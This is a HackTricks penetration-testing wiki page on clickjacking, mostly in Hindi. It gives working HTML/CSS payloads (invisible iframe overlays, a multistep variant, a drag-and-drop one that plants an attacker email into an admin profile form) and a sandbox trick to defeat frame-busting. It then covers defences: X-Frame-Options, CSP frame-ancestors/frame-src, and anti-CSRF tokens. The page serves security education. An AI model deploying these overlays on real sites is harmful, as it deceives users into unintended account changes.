Clickjacking

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

What is Clickjacking

एक क्लिकजैकिंग हमले में, एक उपयोगकर्ता को एक वेबपेज पर एक तत्व पर क्लिक करने के लिए धोखा दिया जाता है जो या तो अदृश्य होता है या एक अलग तत्व के रूप में छिपा होता है। यह हेरफेर उपयोगकर्ता के लिए अनपेक्षित परिणामों का कारण बन सकता है, जैसे कि मैलवेयर का डाउनलोड होना, दुर्भावनापूर्ण वेब पृष्ठों पर पुनर्निर्देशन, क्रेडेंशियल या संवेदनशील जानकारी का प्रावधान, पैसे का हस्तांतरण, या उत्पादों की ऑनलाइन खरीदारी।

Prepopulate forms trick

कभी-कभी एक पृष्ठ लोड करते समय GET पैरामीटर का उपयोग करके एक फॉर्म के फ़ील्ड के मान को भरना संभव होता है। एक हमलावर इस व्यवहार का दुरुपयोग करके एक फॉर्म को मनमाने डेटा से भर सकता है और क्लिकजैकिंग पेलोड भेज सकता है ताकि उपयोगकर्ता बटन सबमिट दबाए।

Populate form with Drag&Drop

यदि आपको उपयोगकर्ता से एक फॉर्म भरवाने की आवश्यकता है लेकिन आप सीधे उनसे कुछ विशिष्ट जानकारी (जैसे ईमेल और या विशिष्ट पासवर्ड जो आप जानते हैं) लिखने के लिए नहीं कहना चाहते, तो आप उनसे बस यह कह सकते हैं कि वे Drag&Drop करें कुछ ऐसा जो आपके नियंत्रित डेटा को लिखे जैसे इस उदाहरण में।

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

मल्टीस्टेप पेलोड

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

यदि आपने एक XSS हमले की पहचान की है जो उपयोगकर्ता को किसी तत्व पर क्लिक करने की आवश्यकता है ताकि XSS को ट्रिगर किया जा सके और पृष्ठ क्लिकजैकिंग के लिए संवेदनशील है, तो आप इसका दुरुपयोग कर सकते हैं ताकि उपयोगकर्ता को बटन/लिंक पर क्लिक करने के लिए धोखा दिया जा सके। उदाहरण: आपने खाते के कुछ निजी विवरणों में एक स्वयं XSS पाया (विवरण जो केवल आप सेट और पढ़ सकते हैं)। उन विवरणों को सेट करने के लिए फॉर्म वाला पृष्ठ क्लिकजैकिंग के लिए संवेदनशील है और आप GET पैरामीटर के साथ फॉर्म को पूर्व-जनित कर सकते हैं। __एक हमलावर उस पृष्ठ के लिए एक क्लिकजैकिंग हमले की तैयारी कर सकता है फॉर्म को XSS पेलोड के साथ पूर्व-जनित करके और उपयोगकर्ता को फॉर्म सबमिट करने के लिए धोखा देकर। तो, जब फॉर्म सबमिट किया जाता है और मानों को संशोधित किया जाता है, तो उपयोगकर्ता XSS को निष्पादित करेगा

Clickjacking को कम करने की रणनीतियाँ

क्लाइंट-साइड डिफेंस

क्लाइंट साइड पर निष्पादित स्क्रिप्ट्स क्लिकजैकिंग को रोकने के लिए क्रियाएँ कर सकती हैं:

  • सुनिश्चित करना कि एप्लिकेशन विंडो मुख्य या शीर्ष विंडो है।

  • सभी फ्रेम को दृश्यमान बनाना।

  • अदृश्य फ्रेम पर क्लिक करने से रोकना।

  • संभावित क्लिकजैकिंग प्रयासों के लिए उपयोगकर्ताओं का पता लगाना और चेतावनी देना।

हालांकि, ये फ्रेम-बस्टिंग स्क्रिप्ट्स को दरकिनार किया जा सकता है:

  • ब्राउज़रों की सुरक्षा सेटिंग्स: कुछ ब्राउज़र अपनी सुरक्षा सेटिंग्स या जावास्क्रिप्ट समर्थन की कमी के आधार पर इन स्क्रिप्ट्स को ब्लॉक कर सकते हैं।

  • HTML5 iframe sandbox विशेषता: एक हमलावर allow-forms या allow-scripts मानों के साथ sandbox विशेषता सेट करके फ्रेम बस्टर स्क्रिप्ट्स को निष्क्रिय कर सकता है बिना allow-top-navigation के। यह iframe को यह सत्यापित करने से रोकता है कि क्या यह शीर्ष विंडो है, उदाहरण के लिए,

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

The allow-forms और allow-scripts मान iframe के भीतर क्रियाओं को सक्षम करते हैं जबकि शीर्ष स्तर की नेविगेशन को निष्क्रिय करते हैं। लक्षित साइट की इच्छित कार्यक्षमता सुनिश्चित करने के लिए, हमलों के प्रकार के आधार पर allow-same-origin और allow-modals जैसे अतिरिक्त अनुमतियों की आवश्यकता हो सकती है। ब्राउज़र कंसोल संदेश यह मार्गदर्शन कर सकते हैं कि कौन सी अनुमतियाँ अनुमति दी जानी चाहिए।

सर्वर-साइड रक्षा

X-Frame-Options

X-Frame-Options HTTP प्रतिक्रिया हेडर ब्राउज़रों को <frame> या <iframe> में एक पृष्ठ को रेंडर करने की वैधता के बारे में सूचित करता है, जो Clickjacking को रोकने में मदद करता है:

  • X-Frame-Options: deny - कोई डोमेन सामग्री को फ्रेम नहीं कर सकता।

  • X-Frame-Options: sameorigin - केवल वर्तमान साइट सामग्री को फ्रेम कर सकती है।

  • X-Frame-Options: allow-from https://trusted.com - केवल निर्दिष्ट 'uri' पृष्ठ को फ्रेम कर सकता है।

  • सीमाओं का ध्यान रखें: यदि ब्राउज़र इस निर्देश का समर्थन नहीं करता है, तो यह काम नहीं कर सकता। कुछ ब्राउज़र CSP frame-ancestors निर्देश को प्राथमिकता देते हैं।

सामग्री सुरक्षा नीति (CSP) frame-ancestors निर्देश

CSP में frame-ancestors निर्देश Clickjacking सुरक्षा के लिए सलाह दी गई विधि है:

  • frame-ancestors 'none' - X-Frame-Options: deny के समान।

  • frame-ancestors 'self' - X-Frame-Options: sameorigin के समान।

  • frame-ancestors trusted.com - X-Frame-Options: allow-from के समान।

उदाहरण के लिए, निम्न CSP केवल उसी डोमेन से फ्रेमिंग की अनुमति देता है:

Content-Security-Policy: frame-ancestors 'self';

अधिक विवरण और जटिल उदाहरण frame-ancestors CSP दस्तावेज़ और Mozilla के CSP frame-ancestors दस्तावेज़ में पाए जा सकते हैं।

सामग्री सुरक्षा नीति (CSP) child-src और frame-src के साथ

सामग्री सुरक्षा नीति (CSP) एक सुरक्षा उपाय है जो Clickjacking और अन्य कोड इंजेक्शन हमलों को रोकने में मदद करता है, यह निर्दिष्ट करके कि ब्राउज़र को सामग्री लोड करने के लिए कौन से स्रोतों की अनुमति देनी चाहिए।

frame-src निर्देश

  • फ्रेम के लिए मान्य स्रोतों को परिभाषित करता है।

  • default-src निर्देश की तुलना में अधिक विशिष्ट।

Content-Security-Policy: frame-src 'self' https://trusted-website.com;

यह नीति समान मूल (स्वयं) और https://trusted-website.com से फ़्रेमों की अनुमति देती है।

child-src निर्देश

  • CSP स्तर 2 में वेब कार्यकर्ताओं और फ़्रेमों के लिए मान्य स्रोत सेट करने के लिए पेश किया गया।

  • फ़्रेम-स्रोत और कार्यकर्ता-स्रोत के लिए एक बैकअप के रूप में कार्य करता है।

Content-Security-Policy: child-src 'self' https://trusted-website.com;

यह नीति समान मूल (स्वयं) और https://trusted-website.com से फ्रेम और कार्यकर्ताओं की अनुमति देती है।

उपयोग नोट्स:

  • अवशेष: child-src को frame-src और worker-src के पक्ष में समाप्त किया जा रहा है।

  • फॉलबैक व्यवहार: यदि frame-src अनुपस्थित है, तो फ्रेम के लिए fallback के रूप में child-src का उपयोग किया जाता है। यदि दोनों अनुपस्थित हैं, तो default-src का उपयोग किया जाता है।

  • सख्त स्रोत परिभाषा: शोषण को रोकने के लिए निर्देशों में केवल विश्वसनीय स्रोतों को शामिल करें।

जावास्क्रिप्ट फ्रेम-ब्रेकिंग स्क्रिप्ट्स

हालांकि यह पूरी तरह से सुरक्षित नहीं है, जावास्क्रिप्ट-आधारित फ्रेम-बस्टिंग स्क्रिप्ट्स का उपयोग एक वेब पृष्ठ को फ्रेम होने से रोकने के लिए किया जा सकता है। उदाहरण:

if (top !== self) {
top.location = self.location;
}

एंटी-CSRF टोकन का उपयोग करना

  • टोकन मान्यता: वेब अनुप्रयोगों में एंटी-CSRF टोकन का उपयोग करें ताकि यह सुनिश्चित हो सके कि स्थिति-परिवर्तन करने वाले अनुरोध जानबूझकर उपयोगकर्ता द्वारा किए गए हैं और क्लिकजैक्ड पृष्ठ के माध्यम से नहीं।

संदर्भ

Trickest का उपयोग करें ताकि आप आसानी से वर्कफ़्लो बना और स्वचालित कर सकें जो दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित हैं। आज ही एक्सेस प्राप्त करें:

HackTricks का समर्थन करें

Last updated